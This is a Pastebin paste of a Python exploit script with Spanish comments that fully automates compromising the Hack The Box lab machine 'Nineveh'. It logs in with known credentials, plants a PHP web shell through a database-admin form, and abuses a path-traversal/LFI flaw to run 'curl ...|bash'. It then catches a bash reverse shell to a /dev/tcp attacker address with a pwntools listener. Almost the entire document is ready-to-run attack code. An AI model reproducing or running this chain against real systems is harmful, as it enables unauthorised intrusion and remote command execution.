tukutu

auto_shell_nineveh.py

Aug 10th, 2021
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.37 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. #Crearos un archivo llamado shell.sh que contenga "#!/bin/bash\n\n bash -i >& /dev/tcp/IP/443 0>&1" y le dais permisos de ejecucion "chmod +x shell.sh"
  4. #Cambiar la IP de variables globales
  5. #Agregar al /etc/hosts el dominio nineveh.htb
  6.  
  7. from pwn import *
  8. import sys
  9. import time
  10. import threading
  11. import requests
  12. import urllib3
  13. import subprocess
  14.  
  15. signal.signal(signal.SIGINT, signal.SIG_DFL)
  16.  
  17. #Variables globales
  18. IP = "10.10.16.198" # <= cambiar!
  19. url_main = "https://nineveh.htb/db/index.php"
  20. url_create_table = "https://nineveh.htb/db/index.php?action=table_create&confirm=1"
  21. url_LFI = "http://nineveh.htb/department/manage.php?notes=files/ninevehNotes../../../../../../../var/tmp/hack.php&cmd=curl http://%s/shell.sh|bash" %IP
  22. url_login2 = "http://nineveh.htb/department/login.php"
  23. lport = 443
  24.  
  25.  
  26.  
  27. #Funciones
  28. def obtainShell():
  29.  
  30.     try:
  31.         urllib3.disable_warnings()
  32.         s = requests.Session()
  33.         s.verify = False
  34.         s.keep_alive = False
  35.         login_data = {
  36.             'password' : 'password123',
  37.             'remember' : 'yes',
  38.             'login' : 'Log+In',
  39.             'proc_login' : 'true'
  40.         }
  41.         r = s.post(url_main, data=login_data)
  42.         p1 = log.progress("Iniciando Sesion como Admin:password123")
  43.         cookie_data = {
  44.             'pla3412' : 'password123',
  45.             'pla3412_salt' : '0',
  46.             'PHPSESSID' : '6mg8bpr1556fhre675t44ptsg7'
  47.         }
  48.         create_db_data = {
  49.             'new_dbname'  : 'hack.php'
  50.         }
  51.         p2 = log.progress("\n[*]Se ha agregado una base de datos: hack.php\n")
  52.         r = s.post(url_main, cookies=cookie_data, data=create_db_data)
  53.         create_table_data = {
  54.             'tablename' : 'shell',
  55.             'rows' : '1',
  56.             '0_field' : '<?php system($_REQUEST["cmd"]); ?>',
  57.             '0_type' : 'TEXT',
  58.             '0_defaultvalue' : ''
  59.         }
  60.         r = s.post(url_create_table, cookies=cookie_data, data=create_table_data)
  61.         p3 = log.progress("\nSe ha agregado una nueva tabla a la base de datos con el payload\n")
  62.         time.sleep(1)
  63.         p3.status("\nIniciando sesion como admin:1q2w3e4r5t\n")
  64.         time.sleep(1)
  65.         s = requests.Session()
  66.         login_data2 = {
  67.             'username' : 'admin',
  68.             'password' : '1q2w3e4r5t'
  69.         }
  70.         r = s.post(url_login2, data=login_data2)
  71.         p4 = log.progress("[*]Montando servidor con Python para ejecutar shell.sh")
  72.         subprocess.Popen(["timeout", "5", "python3", "-m", "http.server", "80"])
  73.         time.sleep(2)
  74.         cookie_data2 = {
  75.             'PHPSESSID' : '6mg8bpr1556fhre675t44ptsg7'
  76.         }
  77.         r = s.get(url_LFI, cookies=cookie_data2)
  78.        
  79.     except requests.exceptions.ReadTimeout:
  80.         p3.success("Payload enviado con exito!")
  81.         sys.exit(1)
  82.  
  83.     except Exception as e:
  84.             print(e)
  85.  
  86.  
  87. if __name__ == '__main__':
  88.     try:
  89.         threading.Thread(target=obtainShell).start()
  90.     except Exception as e:
  91.         log.error(str(e))
  92.  
  93.     shell = listen(lport, timeout=10).wait_for_connection()
  94.  
  95.     if shell.sock is None:
  96.         log.failure("No se ha obtenido conexion")
  97.         sys.exit()
  98.     else:
  99.         log.success("\n ✔️  Se ha obtenido una shell ✔️ \n")
  100.         time.sleep(1)
  101.         log.info("\nAcceso como www-data\n")
  102.         time.sleep(1)
  103.  
  104.     shell.interactive()
  105.  
  106.  
Advertisement
Add Comment
Please, Sign In to add comment